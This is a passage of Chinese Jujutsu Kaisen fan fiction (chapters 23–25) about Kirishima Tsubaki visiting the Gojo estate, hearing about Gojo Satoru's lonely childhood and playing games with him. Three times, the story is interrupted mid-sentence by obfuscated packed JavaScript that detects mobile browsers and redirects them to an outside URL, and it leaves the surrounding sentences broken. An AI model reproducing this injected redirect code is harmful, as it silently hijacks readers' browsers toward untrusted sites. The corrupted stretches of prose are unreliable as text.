哪天,她不再有趣了,也会被随手扔掉吗? “但悟的房间肯定也有这种东西吧,为什么要在道场边再建一个呢?” “是因为体术啦,体术!” “因为经常要出任务,所以我从很小就需要练习体术了,每天都要练。”五条悟解释道。 “悟,不会是很小就一个人出任务吧?”雾岛椿问道。 “刚接触的时候是我家老头子们带着的,但谁让我天赋绝伦呢,没多久就不需要人陪同了,甚至他们的陪同对我来说还是一种拖累。” 拖累吗?雾岛椿垂下眼眸,思绪被睫毛遮掩住。 她想,是的。 五条家也许并非察觉不到“六眼”给五条悟带来的损失,也并非完全不想替他分担任务,但他们太弱了,就像悟所说的,带在身边会变成累赘的那种弱。 这不仅是力量上的云泥之别,更是灵魂层面的天堑,他们和他之间存在着一种根本性的“理解鸿沟”。 如此想来,即便是得到了再多的宠爱,悟也会感到落寞的吧。 这种落寞感,并非源于缺乏陪伴和关爱,而是认知层的“隔绝”——悟的思想如翱翔于苍穹的鹰,而身边人的视野,却始终未能越过世代垒起的高墙。 想到这里,椿突然感到一阵无声的窒息,心口泛起细密的绞痛。将一个洞悉一切的灵魂,囚禁于井底仰望的方寸之地,是何其温柔的残忍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“让家里女仆随便买的。”五条悟终于从游戏里抬起头,墨镜后的目光扫过她手中的衣服,语气依旧漫不经心,“和服很闷的,动作快点哦,我已经迫不及待了。” 雾岛椿低头看着手中的衣物,指尖摩挲着柔软的布料。 “悟为什么会觉得我会喜欢这样的穿搭呢?”雾岛椿不带感情地说,“我说过的吧,我并不习惯和服以外的其他衣着。” “不习惯,不等于不喜欢。”五条悟停下了手里的游戏,侧过头,抬眼看着她,“当然,可以穿,也不等于应该穿。” “所以,如果你真的不喜欢,”五条悟侧头,朝另一边示意,“那里也有为你准备崭新的和服哦。” 两人之间的气氛有那么一瞬间的奇怪,然而这样的微妙感,下一秒就被五条悟惯有的撒娇语气打破。 “试试嘛~试试嘛~这可是我特意吩咐的,而且我也有提供参考意见哦。”他脸上挂着刻意卖萌的笑,信誓旦旦地说,“我的审美,椿应该很放心吧。” 他又在以这种卖萌撒娇的方式,悄悄转移话题中心。 关键是,她确实有所动容。 雾岛家虽然在那场咒灵袭击中几乎被摧毁,却偏偏给她留下了一个完整的房间,还有房间里的所有属于她的东西都被完整的保留着。 所以,除了高专的制服,她并不需要额外添置衣物,更何况是这种看起来似乎很时髦的衣服。 她可以,但她没有。仿佛一旦穿上这样的衣服,就是一种对过去生活的背叛,会打破某种危险的平衡。 而现在,五条悟用这种看似近乎蛮横的、不容拒绝的方式,替她买来了。他甚至极其周到地给她准备了好几套方案。 进可攻,退可守。 他就是如此细心,如此令人有安全感。 这看似微不足道的一步,对她而言,却意义非凡。 她抬起眼,看向那个又重新埋头于游戏的白发少年,他脸上是一派理所当然的不耐烦,仿佛只是做了一件再简单不过的小事。 他仅仅只是坐在这里,就给了她莫大的勇气和底气。 “……谢谢。”她轻声说,声音比平时更柔和几分。 这一刻她觉得,只要她穿习惯了,她也会喜欢这种款式更加流行、行动也更方便、没有桎梏感的衣服。 “嗯?哦,没什么好谢的,快换!”五条悟挥挥手,注意力显然还在游戏屏幕上。 雾岛椿拿着衣服,走到屏风后。当她换上那身简约的针织衫和百褶裙,看着镜中那个仿佛褪去了一层厚重外壳、显得轻松甚至有些陌生的自己时,一种奇异的、微小的解脱感,悄然在心底蔓延开来。 当她从屏风后走出来时,五条悟刚好结束一局游戏,抬头瞥了她一眼。 “哦?还不错嘛!”他上下打量了一下,嘴角勾起一抹惯有的、带着点戏谑的笑,“看起来十分清爽,行动也更方便,走吧!” 他利落地站起身,率先向道场方向走去。 雾岛椿跟在他身后,看着少年挺拔不羁的背影,又低头看了看自己这身“普通”的装扮。这座古老宅邸的沉重氛围似乎依然存在,但身上柔软的衣物,却像一层薄薄的铠甲,带来了一丝微弱的、却真实存在的勇气。 这一步,是他替她踏出的。而前方的路,似乎也因此,变得稍微明亮了一些。 23.摸头 五条悟迈着长腿,熟门熟路地引着雾岛椿穿梭在层层回廊,往她那处偏僻的院落走去。 “椿觉得怎么样?”五条悟状似不经意地问起。 她在穿上之后,似乎并没有任何表示,难道……其实她不喜欢? “啊?” 雾岛椿脸上泛起了一丝可疑的红晕,她突然觉得浑身不自在。 针织开衫和百褶裙,是他特意吩咐女仆买的,并且送给了她。 以前,她的衣服首饰全部都是由母亲安排的,这样一想,感觉好奇怪。 她怎么就真的穿上了呢。 “椿?” “啊……我在。”她口不择言地回道。 “你怎么了?”五条悟身形微顿,垂眸看向她,他的眼里很澄澈,彷佛真的不知道她的心慌意乱。 “没、没事。”雾岛椿不敢跟他对视,慌忙移开视线,垂下头。 五条悟又只能看见她那毛茸茸的头顶了,这让他想起了上次在小吃街的情景。她也是这样,垂着头,双手无处安放,最后只好抓着离得最近的布料,以找寻安全感。 这一次不一样的是,她似乎换了个发型。 之前她总是簪着一根发钗,很素净,而这次却簪了一朵紫藤花,大概是为了搭配和服。 她好像很喜欢用头顶对着他,为什么,他让她感到紧张?害怕? “你——” 雾岛椿开口打断他,强壮镇定地转移话题,“悟在五条家每天行程都这么满吗?” “嗯?算是吧。”五条悟双手枕在脑后,步子迈得懒散,“不过不必在意,等什么时候无聊了,我就会‘咻——’一下溜到街上去逛。” 他得意地拖长了音调,彷佛这是什么了不起的壮举。 然后一脸得意地晃了晃手指:“那些让人头疼的课他们爱谁上谁上吧,真是的,超——级枯燥无味啊!” 像是听到了什么有趣的东西,又像是感觉自己或许从中窥到了一点他不为人知的童年,雾岛椿终于放松下来,她笑着问,“悟原来从小就是这样的性格了吗?那你到街上会找些什么样的乐子打发时间呢?” “嗯……”五条悟装模做样地沉思了几秒,随即扯起一个嚣张的笑,“买甜食!” “没了吗?” “哦!还有处理一些跟在身后的臭蟑螂——”他拉长了声音,语气里带着明显的嫌弃和一丝兴奋。 “臭蟑螂?诅咒师吗?” 为什么会把他们称为蟑螂? “对啊!”他像是找到了最佳的吐槽对象,“每次出去都阴魂不散,走到哪里跟到哪里,就像蟑螂一样不知道躲在哪个角落,一看见我就成群结队地冒出来,一窝一窝的,烦死了!” 这比喻既孩子气又精准的可怕。 什么“老古董”、“烂橘子”、“臭蟑螂”都是从他嘴里形容出来的、极为讨厌的东西。 雾岛椿的嘴唇不自觉弯了一下,悟骂人好像总是喜欢用这种偏戏谑化的语言,一种基于事实的、降维打击式的嘲讽。 很有大少爷的涵养。却又让人感觉伤害性不大,侮辱性极强。 莫名的可爱。 “他们为什么要这么执着于你?” 诅咒师是咒术师的对立面,可五条悟的强大无人不知,真的会有蠢货这么不自量力吗? “大概是因为我出生就被挂上了一亿的悬赏金?”五条悟又补充道,“不过我更倾向于他们本来就想除掉我。” “因为我的降生终止了他们来之不易的春天,所以才对我怀恨在心吧。”五条悟满不在意地耸耸肩,随即又换上那副气死人的嚣张口吻: “现在看来确实没说错,我的存在让他们都不敢冒头了哈哈,就连追杀我也只敢躲躲藏藏,真是没办法,谁让我这么强呢。” 终止了他们的春天? 雾岛椿心一动,好奇问道,“为什么这么说?” “据说我没诞生前,咒灵逐年越发活跃,诅咒师也讴歌着自由,然后强大的我诞生了,他们就只能灰溜溜地爬回阴暗的蟑螂窝了!” 眼前意气风发的少年,身上总是洋溢着青春和自信的气息。 很阳光,很温暖。椿希望,他可以一直如此,一直肆意,一直赢下去。 “这么说,很多人都因为悟的诞生而获救了,好厉害。” 在接触咒术界之前,雾岛椿从来没想过,真的会有人,自从诞生,就一直在拯救他人。而世人的赞扬、掌声还有鲜花,却被一道无形的“账”严严实实地隔绝在外。 “……获救吗?”然而一向喜爱被夸的五条悟在听到她无比夸张的赞扬后,只是喃喃道,“或许吧。” “很多事,并不是非要一些复杂的理由,只需要遵从本心。所以,最重要的是,自己要开心。” 他突然停下脚步,弯着腰凑近,朝雾岛椿的方向伸出手指,缓慢靠近,最后隔着一层无下限,停在了她的胸口前。 椿不明所以,懵懂地看着他。 他说:“所以,椿,无论你未来想做什么,首先要过问的,就是自己的心。” 她不知道他为什么会突然谈起如此富有“哲学”的话题,她只是下意识就想问:“你当咒术师,开心吗?” 五条悟歪着头,似乎在疑惑她为什么会问出这个显而易见的问题,但他还是耐心地回答她,“当然,我可不喜欢强迫自己。” 他收回了手,蓝色的眼睛里盛着理所当然的快乐。 雾岛椿明白。 五条悟不需要所谓的鲜花与掌声。他活着的每一瞬间,他那任性又张扬的自我,就是对他自己最好的加冕。 可她就是心有不甘,她就是觉得付出必须得到对等的回报。 所以,即便她手中的鲜花只有一朵,她的掌声弱小到随随便便就会被淹没在人群中,她也依旧想要给他送上。 “哦对了,一直没对你说,其实椿也很棒哦,明明前不久还是普通人,现在已经祓除了很多咒灵,帮助了很多人。”五条悟下意识伸出手,却停在了她的头顶。 他低头问:“可以摸吗?” 雾岛椿瞳孔一缩,她知道,是因为之前她躲过一次,所以他现在才会小心翼翼地问。 明明,明明只是想奖励她而已,想摸就摸啊。 她想要张嘴说可以,却怎么也说不出口。 都是因为她,如果那次她不躲,悟现在就会直接摸了。 可是,当时的她好狼狈,刘海也湿漉漉的。 五条悟见她久久没回话,正想要收回手,却被猛地一抓。 眼前的少女像是豁出去一般,迅速地将他的手搭在自己的脑袋上,她甚至还垫起脚后跟,紧闭着眼睛,脑袋一晃一晃的,在他手上猛蹭。 “噗——哈哈,椿这样,好像小狗狗。” 雾岛椿听见这话,一整个晴天霹雳,她第一时间反驳,“你才像小狗。” “很好啊,我最喜欢狗狗了。” 最喜欢狗狗了。 他说他最喜欢狗狗。 不对,话题越扯越远了。雾岛椿摇了摇头,她还有话想说。 “但是他们的恨没给你带来一丝一毫的损伤,反倒是让自己陷入了无尽的憋屈当中。”雾岛椿抬眼看着五条悟,认真地说,“唯一能做的,大概就是祈祷,下辈子不要和悟站在对立面了。” 说到后面,她的语气甚至带上了一丝怜悯。 五条悟愣了愣,怎么突然话题跳跃度这么大,这是在安慰? 想让他不要在意诅咒师? 虽然不明白她为什么会觉得自己在乎诅咒师的追杀,但他还很是赞同地点点头,为她点了个赞,“呜哇,椿很会总结嘛!” “不过,悟那么小就被挂上这么高的悬赏金。”她轻声道,“也难怪五条家对你那么紧张了。” 从小就被诅咒师追杀,出任务也有危险,还要被高层那些烂橘子虎视眈眈……想到这些,她眼底不易察觉地暗了暗。 一种冰冷而尖锐的情绪在她心底蔓延。 “什么啊,我家这些老古董什么不紧张,真是的。”五条悟立刻大声抱怨,看来没少被唠叨。 “我7岁那年,换牙期,明明只是掉了一颗乳牙啊,这很正常吧,我随手就扔掉了。结果整个五条家却如临大敌,发动了几乎一半的仆役,点着灯在庞大的宅院里地毯式搜索了一整夜。” “有必要吗?这么兴师动众的。” “然后呢?找到了吗?” 明明听起来是一件很有趣的事,甚至加上五条悟诙谐的口吻,更让人觉得这是一件好笑的趣事,可雾岛椿却笑不出来,她甚至有些失神。 “找到了啊,不找到他们也不会善罢甘休吧。”五条悟懒洋洋地回她。 “说起这个,我现在想起来都觉得很莫名其妙。”他翻了个白眼,仔细回忆那时候的事: 那些人找了很久,最终一位长老用丝绒盘捧着那颗沾了点泥土的小牙齿,像献上国宝一样,战战兢兢地送到他面前请他“过目”,犹记得当时的他十分嫌弃,皱着眉,很不解,“你们捡这个干嘛?好恶心。” 长老跪坐着,头埋的很低,声音却带着一种近乎狂热的虔诚,“悟少爷,您身体的每一部分都蕴含着无上的力量与祝福,是家族最重要的‘传承物’,必须慎重保管,将来……或可庇佑家族。” 与此同时,小五条悟注意到,托盘旁还放着一颗他最喜欢的金平糖。 长老见他注意到了糖果,轻声说,“这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16541823|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……奖励你换牙辛苦了。”他的语气里透露着一丝试寻常人家长辈的笨拙。 五条悟知道,他作为咒力的极致,身体的一部分必然蕴含着极其强大的咒力残留,将来有可能成为“咒物”的原材料,就算没有成功,其散发的咒力波动也可能对低级咒灵有驱散或者震慑作用,或许可以成为普通人的镇宅之宝。 但说到底,也不过是想找个心理安慰,因为有他在五条家不会有任何事,他若不在,来对付五条家的也不会是一颗牙就能护住的级别。 虽然他心里什么都明白,对待五条家依旧不耐烦,但从那之后,他再也没有乱扔过牙齿。 因为扔掉一次他们就会捡一次,麻烦透了。 五条悟语气有些夸张地像雾岛椿详细描绘了当时的场景,甚至模仿着长老当时那副虔诚又惶恐的模样,惟妙惟肖。 看来这件事让他印象深刻。 “悟的牙齿,是有什么特殊作用吗?”雾岛椿也了解过咒物的来源,大概能猜到五条家为什么会收集他的牙齿,但她认为,一颗牙齿对五条家根本没有多大的用处。 她不觉得五条家会不懂这个浅显的道理。 “撒~大概是有点用的吧,比如找点心理安慰?我就说他们完全就是一群封建的老古董啊,真是的。” “不过……”五条悟表情突然平静下来,他漫不经心地说,“那颗糖,还挺甜的。” 雾岛椿身形一顿,她侧着脸抬眼看向身旁的白毛少年,他早已从那晦暗的记忆中脱离而出,转而替代的是那张意气风发的脸。刚刚的他彷佛只是带入了主人公的情绪一般,为她讲述着“别人”那荒诞的故事。故事讲完了,他也不再停留在其中。 金平糖。 有那么甜吗?她也想尝尝。 尝尝这个在五条家日复一日枯燥且充满束缚的日子中,能让他为之夸赞的味道。 “悟小时候,有玩伴吗?” “没有哦——”五条悟拖长尾音,就好像是在说着一件很稀松平常的事。 如果说之前的雾岛椿会对这样的答案保持疑问,那么如今在五条家待了半天的她,却觉得意料之中。 她看着五条悟那满不在意的样子,他似乎对自己一个人长大接受良好。 “就连伺候我的下人,也混不到让我脸熟的程度,就被调走了。”五条悟状似不经意地提起。 以前那些侍女,在他的脑海里一直都是模糊不清的样子。 只记得小的时候,五条家会派人照顾他,但每个人照顾时间都不会很长,刚开始他还会有些疑惑,不过他并没有阻止,因为对他来说,换谁都一样。 不,好像也有不一样的,那位女仆身上总是散发着一股很平和的气息,对他也是像在照顾普通小孩一样,会呵斥他,还会摸摸他的头。 所以,他主动开口让她留下了。 不过她也没留多长时间。 明明五条悟的声音里没有起伏,也没有多余的情绪。 却让此刻的雾岛椿无端产生了一种“他其实也有点不满”的感觉。 但这点不满,好像连他自己都没有在意过。 “那悟的父母呢?” 自从踏入五条家的宅邸,长老们见了一个又一个,却从来没见过他父母。 难道…… 雾岛椿突然反应过来自己问了什么,脸上难得浮现了一丝慌张。 “你那是什么表情?”五条悟本来还想逗逗她,但看见她脸上闪过的细微紧张,觉得有些好笑。 她居然真的在为一件还不确定的事流露真实的情感,他突然有点于心不忍。 “还健在哦。”他嘴角扯起一个没什么温度的弧度,“所以啊,露出这样的表情干嘛?不知道的还以为世界末日了呢。” “悟!”雾岛椿松了口气,随即因被他看穿而有些懊恼。 明明她一直都很端庄的,怎么可能会出现他嘴里所描绘的那副“不雅”的表情。 “嗨~嗨~”五条悟侧头,墨镜滑下一点,苍蓝色的眼睛瞥了她一眼,“还问吗?” “我可以问吗?”雾岛椿轻声道。 “啊,我从出生就没怎么见过我的父母呢。”五条悟的语气平淡得像在讨论天气,“他们因为实力不足不能参与我的教育,不过,因为生出了‘六眼’,他们的家庭地位也跟着提升,现在应该在哪个别院过着悠闲的日子吧。” 是这样吗? 好平静地在陈述着。 “这么说,悟果然是个福星。” “这是当然!”他又在肆意地笑着。 似乎,只是因为她想知道,他就说了。 是因为他并不觉得这是什么私密的事情吗?还是因为告诉她,并不私密呢? 24.胜利 没走多远,他们在一条一条回廊的拐角,撞见了两位步履匆匆、身着五条家纹付羽织的上了年纪的男人。 那两人一见到五条悟,立刻停下脚步,恭敬地垂首,但目光在触及他前进的方向时,脸上逐渐浮现出不妥的神色。 “悟少爷!”其中一人急忙开口,语气带着小心翼翼的阻拦,“您这是……要往偏院去吗?那边实在是过于偏僻简陋了,恐怕会怠慢了您。不如还请您回住宅歇息吧?那边一切都已为您准备妥当了。” 五条悟脸上的不耐烦瞬间挂了起来,墨镜后的眉头皱拧起,“哈?我要去哪儿还得经过你们的批准吗?” 另一人见状,立刻躬身补充,语气更加谦卑,却透着一股固执,“不敢不敢!只是……若是悟大人想和雾岛小姐叙话,主宅也有许多舒适的茶室和厅堂,不如请雾岛小姐一同移步主宅?那里也更符合您的身份。” “啊——身份身份的,烦死人了。是是是,主宅不仅有舒适的茶室和厅堂,还有一群老古董像蚊子一样在耳旁嗡嗡嗡叫个不停,你觉得还舒适吗?”五条悟吐了吐舌头,做了个鬼脸,一副不听不听的样子。 此刻也包含在他口中吐槽的老古董中的两人:“……” 他们被噎住了一瞬。 雾岛椿见状,特别想笑。 悟好像自从回到五条家,就特别容易炸毛。 就在两人打算放弃劝阻时,似乎突然想起了还有一人,于是他们把目光投向了雾岛椿,目光在她身上短暂停留,带着一种审视和衡量。 虽然姿态恭敬,言语间处处透露着礼貌,但眼底却是冰冷一片。对他人流露出轻蔑,彷佛从出生就已经刻在了他们的骨子里。 “雾岛小姐,主宅已备好上等的茶点,环境也更为雅致舒适,绝不会怠慢您与悟少爷。”那人对她说道,语气客气却疏离,字里行间却都在暗示着什么。 这种语气,这样暗戳戳的话语,雾岛椿最熟悉不过了。 那偏僻的院子配不上悟少爷的身份,而你,也不该让悟少爷去那种地方。 她又一次清晰地感受到了那份几乎凝成实质的、来自权力上层的傲慢。 不是第一次了。 一开始想要派人监视她,后来对她视若无睹,现在眼见拿悟没办法,不得不委曲求全在她身上打主意,还要高高在上地以这样暗含指责的话语来要挟她。 跟她父亲一样的令人感到恶心。 “啊啊——对着我啰里啰唆就有够烦了,还要对着我的客人啰嗦吗?”五条悟一把揽过雾岛椿的肩膀往前走,另一只手赶苍蝇一样把两人往一旁驱赶。 雾岛椿的思绪被迫中断,她抬眼看向五条悟,还有些没反应过来。 而五条悟察觉到雾岛椿一瞬间的沉默,误以为她是被那套陈腐说教影响,罕见地有些不好意思,抓了抓头发,“抱歉抱歉,所以我才把你安排在偏院啊,主宅是老古板们的聚集地,他们每天就纠着一些根本不重要的事叽里呱啦讲一大堆,简直比精神感染剂还可怕。” “悟不喜欢他们,对吗?”雾岛椿眨眨眼,不经意问。 “嗯?每天就知道喋喋不休进行说教的老古板谁会喜欢啊,他们要是离开五条家,估计比我还要讨人嫌一点。”五条悟开玩笑地说。 雾岛椿被他的说法可爱到了,会心一笑,语气却很认真,“悟并没有讨人嫌哦。” 五条悟一愣,没想到开玩笑的一句话也能迎来她如此正经的回答,随即立刻扬起招牌式的灿烂笑容,把那一丝不自在掩盖过去: “那是当然啦~毕竟我这么善解人意。” 本来就是。 雾岛椿认为五条悟一直都是一个很容易和别人打成一片的性格,就算不忽略身份和实力也应该如此。 从来没见过比他还平易近人的人,平等地给每一个愿意回馈他好意的人发好人卡,哪怕那点回馈只是在还人情。 别人不这样认为那一定是别人的问题。 走了差不多快十分钟,终于到达了偏院。 五条悟迫不及待地朝着某个方向走去。 雾岛椿不紧不慢地跟在后面,她目光落在前方那个已经蹦跶到房门前的白色身影,他正在呼喊着让她过去开门。 五条悟推门而进,立马从桌上拿起那款他之前放在这里的游戏带,嚷嚷着,“快快,椿,这可是刚出的新款。” 而雾岛椿的目光则第一时间扫向桌上的那一大堆甜食。 是之前悟吩咐的。 她想起刚刚在弓道场的那位老者,他请求着让悟少吃点甜食,还有走廊上遇到的那两位长老,从他们的语气中能看出他们很不希望悟来到偏院。 所以才会斗胆拦下他。 他们明知不可能说服他,却仍要徒劳地尝试,这大概就是悟所讨厌的、五条家深入骨髓、绝望又固执的日常。 主宅应该没有自作多情地多准备一份甜食吧,好歹也是和悟相处那么久的人,要是还对他抱有一些不可能的幻想,那实在是太不识趣,太不体面了。 她收回视线,紧接着走向五条悟特意为她留着的位置,盘腿坐在下。她接过手柄,听着耳畔如百灵鸟般欢快的嚷嚷声,心里冒出一股不明所以的爽感。 就好像她什么都没做就赢了那群长老一样。 等等。这是在想什么呢? 她轻轻摇了摇脑袋,只觉幼稚。 与此同时,主宅那边,一堆长老面面相觑,默默对视几秒之后,终于有人开了口,他麻木地问,“悟少爷还是没能劝回主宅吗?” 刚被嫌弃过的两位长老早已没了被五条悟拒绝的无奈,脸上全是习以为常,他们摇了摇头。 其他人无言。 最后,其中一人叫来了仆役,说道,“把悟少爷房间里的甜食处理掉。” 他们这群无人在意的孤寡老人凑在一起,此刻只显得凄苦难耐。与另一边吵吵闹闹的房间形成了鲜明对比。 “哦——躲一下,椿,你要被打到了啦!” 雾岛椿目光落在屏幕上躲闪BOSS攻击的小人,边玩边问,“加茂家和禅院家也有和悟同龄的人吧?他们为什么没来高专?” “怎么突然想起来问这个?”五条悟头也没回,手指飞快地按着手柄,语气里带着点夸张的惊叹,“有些事情知道多了并不是什么好事哦,椿”他这话说得轻飘飘,像是随口一提。 却让雾岛椿操控游戏角色的微微顿了一下,屏幕上的小人险些被BOSS击中。 “哎——!小心啊椿!”五条悟似乎完全没察觉自己刚才那句话带来的影响,反应极大地叫起来,手指猛按按键,操控自己的角色一个闪身替她挡下攻击,语气瞬间又恢复了活力,“看!又救了你一命哦~好啦好啦,别分心,专心打游戏!” 他用胳膊肘轻轻撞了一下她的手臂,注意力立刻回到了激烈的游戏画面里。 他玩得兴致勃勃,雾岛椿的心却微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16551438|184871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微沉了下去。 悟是不想她过多打听御三家的事……还是不想她过多地了解他本身? “我只是有点好奇而已,”她稳住心神,让声音听起来尽量自然,“这难道是什么咒术界的秘闻吗?” 既然他表现得像是无心之言,那她就顺势当作没听出任何深意。 她要继续“无意”地问下去。 “我知道了!”她操纵着角色跳跃,语气带上一点猜测,“五条家和其他两家有仇?所以因为悟你在高专,他们才不来的?” “也不完全是啦——!”五条悟拖长了声音,看她似乎不打算放弃这个话题,这才慢悠悠地解释,“虽然说五条家和禅院家关系确实烂得要命,但他们不来高专可跟我没关系哦~纯粹是他们自己不想来而已。” “而且,”他撇撇嘴,语气里带上一丝不易察觉的嘲讽,“加茂家和禅院家那帮老古董,才舍不得把自家‘宝贝’扔到高专来呢。” “为什么?” “嗯……”五条悟盯着屏幕,手下操作不停,想出了一个简单粗暴的比喻,“大概就是……古老的家族传承看不起公共教育?” “你可以把高专想象成普通的公立学校,而御三家嘛……”他嗤笑一声,语气平淡地陈述着,“有着千年继承的家族,当然会优先选择家族内部培养,才更配得上他们的身份咯。是不是封建得让人发笑?” 冥冥中好像有什么东西被串联在了一起。 所以,五条家当初极力反对悟来高专,不仅仅是因为所谓的“安全”或“规矩”,更深层的原因是他们从根本上蔑视高专代表的“公共”咒术教育体系。 这群守旧派认为五条悟作为五条家的家主,踏入高专校门本身就是自降身份,所以才会对被五条悟亲自带回来的她这么不满。 而且,一旦五条悟从高专毕业,拿到高专发下来的代表着咒术师的“凭证”,那么—— 五条悟将不再是独属于五条家的咒术师,而是属于整个咒术界的咒术师。 看着似乎陷入沉思的雾岛椿,五条悟手上的动作慢了下来,他轻轻叹了口气,声音比刚才低沉了些许,“所以说啊,椿,以后还是少打听御三家那些破事吧。没开玩笑,他们那些人,可没有值得打听和学习的地方。” “他们都有着一样的认知体系,就像同一个模子里刻出来的一样,还不如研究游戏怎么通关有趣。” 然而下一秒,他的语调又立刻飞扬起来,带着他特有的、理所当然的自信,侧过头对她咧嘴一笑,“不过嘛,你可以对我抱有期待!仅限我哦!” “你看,你代表的人物都死掉了,只能靠我了。不过问题不大,我一个人也能完美通关!” 屏幕上的游戏角色因为他的分心掉了一点血,但他毫不在意。 就好像,掉一点血无关紧要,掉很多血也没什么大事,甚至奄奄一息了他也会抓住机会超越极限,从困境中逆风翻盘,带来胜利的曙光。 雾岛椿的心跳似乎漏了一拍。 她转过头,对上他那双在屏幕光线下显得愈发剔透的苍蓝色眼眸,轻声问,“那悟……会回应我的期待吗?” 五条悟闻言,嘴角勾起一个更大的、几乎有些嚣张的弧度,他重新看向屏幕,手指重新飞快地操作起来,语气轻快却带着一种奇异的笃定: “当然~只要椿需要我!” 他的这句话,伴随着游戏胜利的音效声,清晰地落入了她的耳中。 25.拥抱 一个小时后。 “呼啊——完美通关!”五条悟欢快地伸了个懒腰,龇着牙傻笑。他背对着游戏机,面朝雾岛椿,左手比耶,摆出胜利者的姿态。 他什么都没说,椿十分默契地拿出翻盖机,对着那张傲气的脸连拍了好几张。 五条悟立马凑近想要查看,却被她灵巧地躲开。他顿时委屈地诉苦:“欸——?椿为什么每次都不让我看?” “因为我拍得不太好……”她将手机盖上,捂得严严实实,“不过你放心啦,我会挑一张最帅的发给你的!” 闻言,五条悟诧异地瞪圆了眼睛,震惊道,“椿,你居然觉得我这张脸会产生丑照?!” “这是不可能的吧!不可能的。” 他一副遭受巨大打击的样子,让椿有点想要将他需要的一切东西双手奉上。 不行。她再一次坚定了自己的念头。 如果被他看见自己手机里的有些照片,她会被讨厌的。 很多都是在他不知情时拍下的。 她在脑子里思索半天,最后还是选择先道歉。 “对不起,我……” “切——我也没有很想看,丑照就丑照,底子好根本无需在意。” “你看。”他特意做出一个十分滑稽的表情,高低眉,还吐着舌头,逗得少女哑然失笑。 “就算是做鬼脸,我也无需顾忌,依旧帅气!” “那你还看吗?” “没什么好看的,毕竟我每天早上起床就能看见。”说着,他利索地起身,“好了,游戏也通关了,天色也不早了。” 读懂了他隐含的意思,她先是眼睛一眨一眨地盯着他,又默默垂下头,像是在期待着什么。 五条悟挑眉一笑,伸手揉了揉她的头,笑着调侃。 “这是什么表情?我这里还有很多未通关的有些等着你和我一起攻克呢,难道你家屋顶明天就修好了?” 她摇了摇头。 “那就好好睡觉,休息好了才不会给我拖后腿,不用送啦。” 闻言,雾岛椿身形一顿,不再向前。她紧紧握住怀里的手机,目光跟随着他的身影,一点点移动,直到他完全消失在门后,不留一点痕迹。 她麻木地坐在忽然变得空旷的屋子中央,伸手摸了摸身旁的榻榻米,已经没有一点残留的余温,只有屏幕上刺眼的“Game Over”在提醒着她这不是梦。 手心传来冰冷的触感,雾岛椿的注意力瞬间被转移,她双手捧着手机,指尖小心翼翼地按下控制键,一点一点地翻看。 确实如少年所说,里面存着不少他的“独家影像”。 他平时没有包袱,最常做的就是鬼脸,吐舌头,表情特别丰富,只有在受到夸奖时才会稍微正经地运用那张脸。 雾岛椿看着看着,突然笑了。 她翻到一张很清晰的照片,里面的少年头上顶着一个新鲜出炉的肿包,似乎是被夜蛾老师教训了,他歪着头,苍蓝的眼睛里写满了“我很不爽”,嘴角倔强地撇着,一副既想抱怨又硬要维持形象的别扭样子。 这是她为数不多偷拍到的正脸照片,其他的很多都只抓拍到了边边角角甚至是残影。 其实一点也不丑,就像他说的那样,底子很好。 因为无论是搞怪的还是帅气的,亦或是故意扮可爱的,让人最印象深刻的,永远是他特有的、张扬的生命力。 雾岛椿指尖无意识地划过照片,停在少年的肿包上,安慰性地摸了摸。 她知道她的行为不妥,但她控制不住,没有东西是可以永久保存的,她私心地想,或许照片可以让他留得久一点。 五条悟自己的手机里也有很多照片,合照,单人,正经的,搞笑的,风格各异。 他向来热衷于记录这些。比如三两下打败了咒灵,非常迅速地通关游戏,或者轻松解决一道较有难度的数学题,他会觉得很有成就感,然后自顾自地举起手机,拍照的理由也是要给最强的英姿留个纪念。 只是有点可惜,这些照片她都无法拥有。 翻到的最后一张照片,是她在慌乱中拍下的衣角。 雾岛椿愣愣地盯着手机里模糊的画质,一晃而过的身影,嘴里突然生出几分没由来的苦涩。 真是……失态。简直像个卑劣的窥视者。 她久久地坐在原地,忘却了时间,连手机何时滑落在腿边的都不知道。 寂静像冰冷的潮水般猛灌进来,淹没了整个房间,沉甸甸地压在她的耳膜上,一种绝对的安静中竟生出了细微嗡鸣。 她轻轻摇了摇头,试图摆脱,但无济于事。 心跳声、呼吸声甚至血液流动的声音都像是被放大了无数倍,变得震耳欲聋。心悸感从心口蔓延开来,她轻车熟路地双手交叠捂住,尝试着小口小口呼吸,试图缓解窒息感。 目光在慌乱中扫到了一旁的桌子。 没有,什么都没有。 他连桌上那点能证明他存在过的甜品残渣都乖乖收拾干净了,没留下半点能让她怀念的甜腻气息。 其实,悟是她幻想出来的吧? 根本不存在这个人。 她开始抱着双腿蜷缩起来,像小动物一样,依着本能将脸颊埋入双膝之中。寒气顺着脊背爬升至裸露在外的后脖颈,少女纤细的肩膀微微瑟缩了一下,随即抱得更紧,埋得更深。 好冷,好难受。 ……母亲。 她在心底无声地呼唤着。 对不起。 请不要……留下我一个人,我很乖的。 